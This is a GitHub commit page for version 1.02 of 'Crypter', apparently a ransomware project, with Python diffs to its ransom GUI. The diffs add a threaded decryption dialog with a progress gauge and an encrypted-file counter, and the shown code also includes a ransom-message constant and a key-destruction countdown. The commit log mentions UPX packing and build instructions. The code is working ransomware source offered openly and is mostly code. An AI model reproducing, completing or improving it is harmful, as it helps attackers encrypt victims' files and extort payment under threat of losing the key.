Skip to content

Commit

Permalink
Release 1.02 (#16)
Browse files Browse the repository at this point in the history
* Added UPX recommendation to README

* README Update

- Added Structure explanation.
- Simplified explanation of execution
- Updated explanation of why Crypter was created

* Further README changes

Corrected a number of typo's

* Fixed broken README prereqs

Also added hyperlinks to point to the correct required versions

* Added link to video demonstration

Added a link in the README to a YouTube video which briefly demonstrates the Crypter build and execution process

* Updated README

Added additional link to the video demonstration, as well as a reference to the issue page for a more in-depth overview of the issues and features currently being addressed

* Implemented working threading of decryption. This is purely for testing.
Currently no decryption is performed, but the process operates as
expected. It simply needs the decryption to be added back in, and to be
tested thoroughly before the feature can be finished and merged

* Completed working implementation of dialog progress bar threading. The
gauge is now threaded, along with the decryption percentage and the number
of files remaining.
TODO: Replace the placeholder code with the actual decryption
functionality

* Resolved issue with maintenance of encrypted and decrypted files list.
Needs cleaning up and a few other fixes need adding

* Fixed one or two GUI bugs. Issue with maintaining encrypted and decrypted
files lists seems to be gone, but this needs confirming. Also need to
investigate potential issue with running under WIn 7

* Added a final pub sub update for the progress

* Completed working decryption threading. Fixed issues with GUI updating
accurately. This isn't quite stable however and should be tested
thoroughly before a release

* Adjusted decryption gauge to set the range as a percentage value out of
100, rather than using the length of the list of encrypted files
  • Loading branch information
Sithis authored Jul 4, 2017
1 parent d2c5b8a commit 2da1638
Show file tree
Hide file tree
Showing 6 changed files with 441 additions and 150 deletions.
1 change: 1 addition & 0 deletions Crypter/Base.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,7 @@ class Base():
GUI_DECRYPTION_DIALOG_LABEL_TEXT_WAITING = "Waiting for input"
GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING = "Decrypting! Please Wait"
GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED = "Decryption Complete!"
GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT = "Encrypted Files: "
GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND = "A list of encrypted files was not found"

GUI_RANSOM_MESSAGE = (
Expand Down
243 changes: 200 additions & 43 deletions Crypter/Gui.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,32 +9,131 @@
import os
import time

# Threading imports
from threading import Thread, Event
from wx.lib.pubsub import setuparg1
from wx.lib.pubsub import pub as Publisher

# Import Classes
import Base
from GuiAbsBase import MainFrame
from GuiAbsBase import ViewEncryptedFilesDialog
from GuiAbsBase import EnterDecryptionKeyDialog

# Implementing MainFrame

############################
## DECRYPTIONTHREAD CLASS ##
############################
class DecryptionThread(Thread):
'''
@summary: Provides a thread for file decryption
'''

def __init__(self, encrypted_files_list, decrypted_files_list, parent,
decrypter, decryption_key):
'''
@summary: Constructor: Starts the thread
@param encrypted_files_list: The list of encrypted files
@param decrypted_files_list: The list of files that were decrypted, but have now been decrypted
@param parent: Handle to the GUI parent object
@param decrypter: Handle to the decrypter (Main object)
@param decryption_key: AES 256 bit decryption key to be used for file decryption
'''
self.parent = parent
self.encrypted_files_list = encrypted_files_list
self.decrypted_files_list = decrypted_files_list
self.decrypter = decrypter
self.decryption_key = decryption_key
self.in_progress = False
self.decryption_complete = False
self._stop_event = Event()

# Start thread
Thread.__init__(self)
self.start()


def run(self):
'''
@summary: Performs decryption of the encrypted files
'''
self.in_progress = True

# Iterate encrypted files
for i in range(len(self.encrypted_files_list)):

# Check for thread termination signal and break if set
if self._stop_event.is_set():
break
else:
# Decrypt file and add to list of decrypted files. Update progress
self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key)
self.decrypted_files_list.append(self.encrypted_files_list[i])
Publisher.sendMessage("update", "")


# Encryption stopped or finished
self.in_progress = False

# Check if decryption was completed
if len(self.decrypted_files_list) == len(self.encrypted_files_list):
self.decryption_complete = True

# Run a final progress update
Publisher.sendMessage("update", "")

# Remove decrypted files from the list of encrypted files
# Update the GUIs encrypted and decrypted file lists
for file in self.decrypted_files_list:
if file in self.encrypted_files_list:
self.encrypted_files_list.remove(file)

# Make sure GUI file lists are up-to-date
self.parent.decrypted_files_list = []
self.parent.encrypted_files_list = self.encrypted_files_list

# If forcefully stopped, close the dialog
if self._stop_event.is_set():
self.parent.decryption_dialog.Destroy()


def stop(self):
'''
@summary: To be called to set the stop event and terminate the thread after the next cycle
'''

# If complete or not in progress, and event is already set, close forcefully
if self.decryption_complete or not self.in_progress:
self.parent.decryption_dialog.Destroy()
# Otherwise, only set signal
else:
self._stop_event.set()


###############
## GUI CLASS ##
###############
class Gui( MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base):
'''
@summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions,
labels, text, buttons, images etc. Also inherits from main Base for schema
'''

def __init__( self, image_path, start_time, encrypted_file_list, decrypter ):
def __init__( self, image_path, start_time, decrypter ):
'''
@summary: Constructor
@param image_path: The path to look at to find resources, such as images.
@param start_time: EPOCH time that the encryption finished.
@param encrypted_file_list: List of encrypted files
@param decrypter: Handle back to Main. For calling decryption method
'''
# Handle Params
self.image_path = image_path
self.start_time = start_time
self.encrypted_file_list = encrypted_file_list
self.decrypter = decrypter
self.decryption_thread = None
self.decryption_dialog = None
self.encrypted_files_list = self.decrypter.get_encrypted_files_list()
self.decrypted_files_list = []

# Define other vars
self.set_message_to_null = True
Expand All @@ -48,6 +147,60 @@ def __init__( self, image_path, start_time, encrypted_file_list, decrypter ):
# Update events
self.set_events()

# Create pubsub listener to update the decryption progress
Publisher.subscribe(self.update_decryption_progress, "update")


def update_decryption_progress(self, msg):
'''
@summary: Updates the decryption progress in the GUI
'''

# Calculate percentage completion
if len(self.encrypted_files_list) == 0:
percentage_completion = 100
else:
percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float(len(self.encrypted_files_list))

# Update number of encrypted files remaining
if not self.decryption_thread.decryption_complete:
encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list)
else:
encrypted_files_remaining = 0

# Set encrypted files number in GUI
self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText(
"Encrypted Files: %s" % encrypted_files_remaining)

# Update Decryption percentage completion
if percentage_completion != 100:
self.decryption_dialog.StatusText.SetLabelText(
self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING + " (%d%%)" % percentage_completion
)
else:
self.decryption_dialog.StatusText.SetLabelText(
self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED + " (%d%%)" % percentage_completion
)

# Update decryption gauge
if self.encrypted_files_list:
self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion)
else:
self.decryption_dialog.DecryptionGauge.SetValue(100)

# If the decryption has successfully finished, update the GUI
if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete:
# Cleanup decrypter and change dialog message
self.decrypter.cleanup()
# Update main window
self.key_destruction_timer.Stop()
self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED)
self.FlashingMessageText.SetForegroundColour( wx.Colour(2, 217, 5) )
self.KeyDestructionTime.SetLabelText(self.GUI_LABEL_TEXT_FILES_DECRYPTED)
self.KeyDestructionTime.SetForegroundColour( wx.Colour(2, 217, 5) )
# Disable decryption dialog button
self.EnterDecryptionKeyButton.Disable()


def set_events(self):
'''
Expand All @@ -65,22 +218,51 @@ def set_events(self):
self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton)


def stop_decryption(self, event):
'''
@summary: Called when the decryption dialog is closed. Sends a stop event
signal to the decryption thread if it exists
'''

# Send stop event to the decryption thread if it exists
if self.decryption_thread and self.decryption_thread.in_progress:
self.decryption_thread.stop()
# Otherwise just kill the dialog
else:
self.decryption_dialog.Destroy()


def show_decryption_dialog(self, event):
'''
@summary: Creates a dialog object to show the decryption dialog
'''

# If dialog open. Don't open another
if self.decryption_dialog:
return

# Create dialog object
self.decryption_dialog = EnterDecryptionKeyDialog(self)
# Set gauge size
self.decryption_dialog.DecryptionGauge.SetRange(100)
# Set encrypted file number
self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText(
self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT + str(
len(self.encrypted_files_list) - len(self.decrypted_files_list)
)
)

# Bind OK button to decryption process
self.decryption_dialog.Bind(wx.EVT_BUTTON, self.decrypt, self.decryption_dialog.OkCancelSizerOK)
self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK)
# Bind close and cancel event to thread killer
self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel)
self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption)
self.decryption_dialog.Show()


def decrypt(self, event):
def start_decryption_thread(self, event):
'''
@summary: Handles the decryption process from a GUI level
@summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread)
'''

# Check for valid key
Expand All @@ -90,54 +272,30 @@ def decrypt(self, event):
return
else:
self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING)

wx.Yield()
# Start the decryption

# Disable dialog buttons
self.decryption_dialog.OkCancelSizerOK.Disable()
self.decryption_dialog.OkCancelSizerCancel.Disable()

# Get list of encrypted files and update gauge
encrypted_files_list = self.decrypter.get_encrypted_file_list()
self.decryption_dialog.DecryptionGauge.SetRange(len(encrypted_files_list))

# Iterate file list and decrypt
decrypted_file_list = []
for encrypted_file in encrypted_files_list:
self.decrypter.decrypt_file(encrypted_file, key_contents)
decrypted_file_list.append(encrypted_file)
self.decryption_dialog.DecryptionGauge.SetValue(len(decrypted_file_list))
wx.Yield()

# Decryption complete
self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED)
self.decrypter.cleanup()

# Re-enable button
self.decryption_dialog.OkCancelSizerCancel.Enable()

# Update main window
self.key_destruction_timer.Stop()
self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED)
self.FlashingMessageText.SetForegroundColour( wx.Colour(2, 217, 5) )
self.KeyDestructionTime.SetLabelText(self.GUI_LABEL_TEXT_FILES_DECRYPTED)
self.KeyDestructionTime.SetForegroundColour( wx.Colour(2, 217, 5) )

# Disable decrypt button
self.EnterDecryptionKeyButton.Disable()

# Start the decryption thread
self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list,
self, self.decrypter, key_contents)


def show_encrypted_files(self, event):
'''
@summary: Creates a dialog object showing a list of the files that were encrypted
'''

# Create dialog object
# Create dialog object and file list string
self.encrypted_files_dialog = ViewEncryptedFilesDialog(self)
encrypted_files_list = ""
for file in self.encrypted_files_list:
encrypted_files_list += "%s" % file

# If the list of encrypted files exists, load contents
if os.path.isfile(self.encrypted_file_list):
self.encrypted_files_dialog.EncryptedFilesTextCtrl.LoadFile(self.encrypted_file_list)
if encrypted_files_list:
self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list)
# Otherwise set to none found
else:
self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText(
Expand Down Expand Up @@ -165,7 +323,6 @@ def blink(self, event):
time_remaining = self.get_time_remaining()

# If the key has been destroyed, update the menu text
# TODO Test
if not time_remaining:
self.KeyDestructionTime.SetLabelText(self.GUI_LABEL_TEXT_KEY_DESTROYED)
# Set timer colour to black
Expand Down
14 changes: 13 additions & 1 deletion Crypter/GuiAbsBase.py
Original file line number Diff line number Diff line change
Expand Up @@ -233,9 +233,21 @@ def __init__( self, parent ):
self.StatusText.Wrap( -1 )
MainSizer.Add( self.StatusText, 0, wx.ALL, 5 )

bSizer121 = wx.BoxSizer( wx.HORIZONTAL )

self.DecryptionGauge = wx.Gauge( MainSizer.GetStaticBox(), wx.ID_ANY, 100, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL )
self.DecryptionGauge.SetValue( 0 )
MainSizer.Add( self.DecryptionGauge, 0, wx.ALL, 5 )
bSizer121.Add( self.DecryptionGauge, 0, wx.ALL, 5 )


bSizer121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 )

self.EncryptedFilesNumberLabel = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Encrypted Files: 0", wx.DefaultPosition, wx.DefaultSize, 0 )
self.EncryptedFilesNumberLabel.Wrap( -1 )
bSizer121.Add( self.EncryptedFilesNumberLabel, 0, wx.ALL, 5 )


MainSizer.Add( bSizer121, 1, wx.EXPAND, 5 )


self.m_panel6.SetSizer( MainSizer )
Expand Down
4 changes: 2 additions & 2 deletions Crypter/Main.py
Original file line number Diff line number Diff line change
Expand Up @@ -113,14 +113,13 @@ def start_gui(self):
crypter_gui = Gui.Gui(
image_path=sys._MEIPASS,
start_time=start_time,
encrypted_file_list=self.encrypted_file_list,
decrypter=self)

crypter_gui.Show()
app.MainLoop()


def get_encrypted_file_list(self):
def get_encrypted_files_list(self):
'''
@summary: Returns a list of the files encrypted by crypter
@return: Encrypted file list
Expand All @@ -132,6 +131,7 @@ def get_encrypted_file_list(self):
file_list = fh.readlines()
fh.close()
except IOError:
# Don't error, just return message
raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list)

return file_list
Expand Down
Loading

0 comments on commit 2da1638

Please sign in to comment.